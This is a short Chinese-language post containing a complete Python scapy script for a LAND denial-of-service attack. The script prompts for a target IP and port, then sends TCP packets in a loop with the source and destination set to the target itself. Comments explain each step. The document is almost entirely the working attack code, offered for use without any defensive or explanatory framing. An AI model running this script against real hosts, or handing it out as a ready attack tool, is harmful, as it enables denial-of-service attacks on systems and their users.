基於scapy編寫的LAND Attack攻擊
#!/usr/bin/env python3
import scapy.all as scapy #引入scapy庫
import time
target = input("Please input your target:") #輸入想要攻擊的ip地址
port = input("Please input your target's port:") #輸入端口
port = int(port) #因爲input接收的是str,所以要轉換成int型
send_packets=0 #記錄發送包的數量
try:
while True:
a = (scapy.IP(src=target,dst=target)/scapy.TCP(sport=port,dport=port)) #構造LAND attack攻擊包
scapy.send(a,verbose=False)
send_packets+=1 #發送一個,自動加一
print("[+] Sent Packets:" + str(send_packets))
time.sleep(1)
except KeyboardInterrupt:
print("[-] Ctrl+C detected.......")